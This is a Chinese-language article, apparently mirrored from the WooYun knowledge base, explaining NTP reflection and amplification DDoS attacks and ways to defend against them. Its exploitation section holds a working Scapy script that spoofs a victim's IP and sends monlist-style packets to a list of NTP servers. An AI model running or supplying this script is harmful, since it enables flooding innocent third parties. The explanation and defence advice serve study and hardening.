淺談基於 NTP 的反射和放大攻擊

wyzsk發表於2020-08-19
作者: 心傷的胖子 · 2014/02/14 18:16

0x01 一些案例


最近一段時間 DDoS 攻擊事件讓基於 NTP 的 DDoS 攻擊變得很火熱,先看看下面的資訊感受下:

“It was a very large DDoS targeting a CloudFlare customer,” Matthew Prince, CEO of Cloudflare told SecurityWeek. “We're still gathering the log data to get exact numbers but know it was well over 300Gbps and likely over 400Gbps,” Prince said.

“The method was NTP reflection, which is quickly replacing DNS reflection as the source of the largest attacks,” Prince said.

訊息中稱 CloudFlare 遭受了高達 400G 流量的 NTP 反射攻擊,目前從網上各處的訊息來看,眾說紛紜,我們先不去考證訊息的真偽,僅僅從攻擊方法和流量方面來看著實體現出 NTP 反射攻擊的威力。

0x02 什麼是 NTP


NTP 是網路時間協議(Network Time Protocol)的簡稱,幹嘛用的呢?就是透過網路協議使計算機之前的時間同步化。

0x03 NTP 反射和放大攻擊


那什麼是 NTP 反射和放大攻擊呢?如果聽過 DNS 反射和放大攻擊的話應該就會對這個比較容易理解了,協議不同,效果一樣。

我們先來說說放射和放大攻擊:

無論是基於 DNS 還是基於 NTP,其最終都是基於 UDP 協議的。在 UDP 協議中正常情況下客戶端傳送請求包到服務端,服務端返回響應包到客戶端,但是 UDP 協議是面向無連線的,所以客戶端傳送請求包的源 IP 很容易進行偽造,當把源 IP 修改為受害者的 IP,最終服務端返回的響應包就會返回到受害者的 IP。這就形成了一次反射攻擊。

放大攻擊呢就是一次小的請求包最終會收到一個或者多個多於請求包許多倍的響應包,這樣就達到了四兩撥千斤的效果。

那我們接著來看什麼是 NTP 的反射和放大攻擊,NTP 包含一個 monlist 功能,也被成為 MON_GETLIST,主要用於監控 NTP 伺服器,NTP 伺服器響應 monlist 後就會返回與 NTP 伺服器進行過時間同步的最後 600 個客戶端的 IP,響應包按照每 6 個 IP 進行分割,最多有 100 個響應包。

我們可以透過 ntpdc 命令向一個 NTP 伺服器傳送 monlist 以及結合抓包來看下實際的效果。

[email protected] ~$ ntpdc -n -c monlist x.x.x.x | wc -l

602

NTP wireshark

在上面的命令列中我們可以看到一次含有 monlist 的請求收到 602 行資料,除去頭兩行是無效資料外,正好是 600 個客戶端 IP 列表,並且從上面圖中的 wireshark 中我們也看到顯示有 101 個 NTP 協議的包,除去一個請求包,正好是 100 個響應包。

從上圖中我們可以看到請求包的大小為 234 位元組,每個響應包為 482 位元組,如果單純按照這個資料我們可以計算出放大的倍數是:482*100/234 = 206 倍。其實如果透過編寫攻擊指令碼,請求包會更小,這個倍數值會更大,這樣算起來是不是蠻屌的。

0x04 如何利用


我們透過 scapy 實現一個簡單的攻擊指令碼,程式碼如下:

#!python
#!/usr/bin/env python
# author: [email protected]

import sys
from scapy.all import *

def attack(target, ntp_server):
    send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))

if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)

    target = sys.argv[1]
    ntp_server_file = sys.argv[2]
    for ntp_server in open(ntp_server_file, "r"):
        ntp_server = ntp_server.strip()
        if ntp_server != "":
            attack(target, ntp_server)

0x05 如何防禦


我們可以分為兩種情況進行防禦

加固 NTP 服務

1. 把 NTP 伺服器升級到 4.2.7p26
2. 關閉現在 NTP 服務的 monlist 功能,在ntp.conf配置檔案中增加`disable monitor`選項
3. 在網路出口封禁 UDP 123 埠

防禦 NTP 反射和放大攻擊

1. 由於這種攻擊的特徵比較明顯,所以可以透過網路層或者藉助運營商實施 ACL 來防禦
2. 使用防 DDoS 裝置進行清洗

不過我覺得如果流量真的夠大,400G?800G?或者更大,又有誰能夠防得住呢?

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章